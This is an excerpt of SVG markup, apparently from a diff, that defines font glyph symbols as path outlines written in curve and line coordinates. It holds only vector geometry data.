3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 -0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 -2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 -4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 4.921875 -0.359375 C 4.671875 -0.179688 4.390625 -0.0507812 4.078125 0.03125 C 3.765625 0.125 3.4375 0.171875 3.09375 0.171875 C 2.625 0.171875 2.226562 0.0820312 1.90625 -0.09375 C 1.582031 -0.269531 1.320312 -0.523438 1.125 -0.859375 C 0.925781 -1.203125 0.78125 -1.609375 0.6875 -2.078125 C 0.59375 -2.554688 0.546875 -3.085938 0.546875 -3.671875 C 0.546875 -4.921875 0.765625 -5.875 1.203125 -6.53125 C 1.648438 -7.1875 2.289062 -7.515625 3.125 -7.515625 C 3.507812 -7.515625 3.835938 -7.476562 4.109375 -7.40625 C 4.378906 -7.34375 4.613281 -7.253906 4.8125 -7.140625 L 4.515625 -6.21875 C 4.128906 -6.445312 3.707031 -6.5625 3.25 -6.5625 C 2.71875 -6.5625 2.316406 -6.328125 2.046875 -5.859375 C 1.773438 -5.398438 1.640625 -4.671875 1.640625 -3.671875 C 1.640625 -3.265625 1.664062 -2.882812 1.71875 -2.53125 C 1.78125 -2.1875 1.878906 -1.882812 2.015625 -1.625 C 2.160156 -1.363281 2.335938 -1.15625 2.546875 -1 C 2.765625 -0.851562 3.035156 -0.78125 3.359375 -0.78125 C 3.609375 -0.78125 3.84375 -0.820312 4.0625 -0.90625 C 4.289062 -1 4.472656 -1.101562 4.609375 -1.21875 Z M 4.921875 -0.359375 "/> +</symbol> 